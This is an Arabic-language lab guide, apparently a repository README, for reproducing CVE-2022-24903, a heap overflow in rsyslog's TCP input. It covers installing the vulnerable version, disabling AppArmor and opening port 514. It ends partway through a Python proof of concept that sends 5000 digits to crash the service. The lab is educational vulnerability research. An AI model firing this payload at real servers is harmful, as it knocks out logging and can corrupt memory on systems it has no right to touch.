andree554/cve-2022-24903-heap-based-buffer-overflow-hand-on-labCVE-2022-24903 تجاوز سعة المخزن المؤقت المستند إلى الكومة
المؤلف: Andrew Beshay Mousa
مختبر عملي تطبيقي يوضح ثغرة تجاوز سعة المخزن المؤقت في الكومة في rsyslog.
بيئة مختبرية عملية لإعادة إنتاج وفهم ثغرة تجاوز سعة المخزن المؤقت في الكومة في rsyslog (CVE-2022-24903) عبر تأطير عدّاد الأوكتيت (octet-counted framing) في استقبال syslog عبر TCP.
CVE-2022-24903 هي ثغرة تجاوز سعة المخزن المؤقت في الكومة في وحدة استقبال syslog عبر TCP في rsyslog (imtcp) عند استخدام تأطير عدّاد الأوكتيت (RFC 5425).
يمكن للمهاجم إرسال رسالة syslog عبر TCP مصمَّمة بعناية مع بادئة عدّاد أوكتيت طويلة بشكل مفرط، مما يتسبب في كتابة rsyslog خارج حدود مخزن مؤقت مخصص من الكومة، وينتج عن ذلك تعطيل الخدمة (DoS) أو تلف محتمل في الذاكرة.
| السمة | القيمة |
|---|---|
| معرف CVE | CVE-2022-24903 |
| الإصدارات المتأثرة | rsyslog < 8.2204.1 |
| ناقل الهجوم | الشبكة |
| المنفذ | 514/TCP |
| الوحدة | imtcp (إدخال TCP) |
| الأثر | DoS / تلف الكومة |
| احتمالية RCE؟ | لا (تقدير البائع) |
+----------------------------------------------------------+
| Network: Host-Only |
| Subnet: 192.168.56.0/24 |
+--------------------------+-------------------------------+
| | |
| +---------------+ | +--------------------+ |
| | [Attacker] | | | [Target] | |
| | Kali Linux |<-----|----->| Ubuntu 22.04 | |
| | | TCP | | rsyslog 8.2001.0 | |
| | 192.168.56.10| 514 | | 192.168.56.20 | |
| | RAM: 2GB | | | RAM: 1GB | |
| | CPU: 1 | | | CPU: 1 | |
| +---------------+ | +--------------------+ |
| | |
+----------------------------------------------------------+
| الجهاز الافتراضي | نظام التشغيل | الدور | IP | الذاكرة | المعالج |
|---|---|---|---|---|---|
| الهدف | Ubuntu 22.04 | خادم rsyslog المُعرَّض للثغرة | 192.168.56.20 | 1 GB | 1 |
| المهاجم | Kali Linux | مرسل الاستغلال | 192.168.56.10 | 2 GB | 1 |
ملاحظة: يمكنك استخدام أي إصدار من أوبونتو (20.04 أو 22.04 أو 24.04) كجهاز هدف. المفتاح هو التثبيت اليدوي لحزمة rsyslog 8.2001.0 المُعرَّضة للثغرة
.deb.
في syslog عبر TCP (RFC 5425)، تُسبَق الرسائل بطولها بالبايتات:
123 <34>1 2024-01-01T00:00:00Z host app - - - message\n
└─┘
octet count (3 digits = 123 bytes follow)
في إصدارات rsyslog المُعرَّضة للثغرة، يقوم محلل عدّاد الأوكتيت بما يلي:
// Simplified vulnerable logic:
char buffer[20]; // Small heap buffer
int i = 0;
while (isdigit(ch)) { // Read digits
buffer[i++] = ch; // Write to buffer
// MISSING: if (i >= 20) break;
ch = next_char();
}
النتيجة: إرسال 9999... (5000+ رقم) يتجاوز سعة المخزن المؤقت في الكومة، مما يُتلف الذاكرة المجاورة.
0-9)في برنامج إدارة الأجهزة الافتراضية لديك، أنشئ شبكة Host-Only:
192.168.56.0/24اربط الجهازين الافتراضيين بهذه الشبكة.
sudo nano /etc/netplan/00-installer-config.yaml
الصق:
network:
version: 2
ethernets:
enp0s3:
dhcp4: no
addresses:
- 192.168.56.20/24
طبّق:
sudo netplan apply
تحقق:
ip addr show | grep 192.168.56.20
sudo systemctl stop rsyslog.service syslog.socket
sudo systemctl disable rsyslog.service syslog.socket
sudo systemctl mask rsyslog.service syslog.socket
sudo apt-get remove --purge -y rsyslog
sudo apt-get autoremove -y
cd /tmp
wget http://security.ubuntu.com/ubuntu/pool/main/r/rsyslog/rsyslog_8.2001.0-1ubuntu1_amd64.deb
sudo dpkg -i rsyslog_8.2001.0-1ubuntu1_amd64.deb
sudo apt-get install -f -y
sudo apt-mark hold rsyslog
إذا واجهت خطأ قفل dpkg:
sudo kill -9 <PID> sudo rm -f /var/lib/dpkg/lock-frontend sudo dpkg --configure -a
تحقق من الإصدار:
rsyslogd -v | head -2
الناتج المتوقع:
rsyslogd 8.2001.0
قد يمنع AppArmor rsyslog من العمل بشكل صحيح مع الحزمة القديمة:
sudo systemctl stop apparmor
sudo systemctl disable apparmor
sudo nano /etc/rsyslog.conf
امسح محتوى الملف والصق:
module(load="imtcp")
input(type="imtcp" port="514")
*.* /var/log/all-messages.log
sudo ufw allow 514/tcp
sudo ufw --force enable
sudo systemctl unmask rsyslog.service syslog.socket
sudo systemctl restart rsyslog
sudo systemctl status rsyslog --no-pager
تحقق من الاستماع:
sudo ss -tlnp | grep 514
المتوقع:
LISTEN 0 25 0.0.0.0:514 users:(("rsyslogd",pid=...,fd=4))
sudo nano /etc/network/interfaces
الصق:
auto eth0
iface eth0 inet static
address 192.168.56.10
netmask 255.255.255.0
أو إذا كنت تستخدم Netplan:
sudo nano /etc/netplan/01-netcfg.yaml
network:
version: 2
ethernets:
eth0:
dhcp4: no
addresses:
- 192.168.56.10/24
sudo netplan apply
cd ~/Desktop
nano exploit.py
الصق:
#!/usr/bin/env python3
"""
CVE-2022-24903 rsyslog Heap Buffer Overflow PoC
Target: rsyslog 8.2001.0 on TCP port 514
Author: Andrew Beshay Mousa
"""
import socket
import sys
TARGET = "192.168.56.20" # Change to your Target IP
PORT = 514
def exploit():
"""
Send a crafted TCP syslog message with an excessively long octet-count prefix.
The octet-count parser writes digits to a heap buffer without bounds checking,
causing a heap buffer overflow.
"""
# Create a massive octet count string (5000+ digits)
# This overflows the heap buffer allocated for parsing the count
overflow_digits = b"9" * 5000
# The rest of the message (parser will crash before processing this)
syslog_msg = b" <1>test crash message\n"
payload = overflow_digits + syslog_msg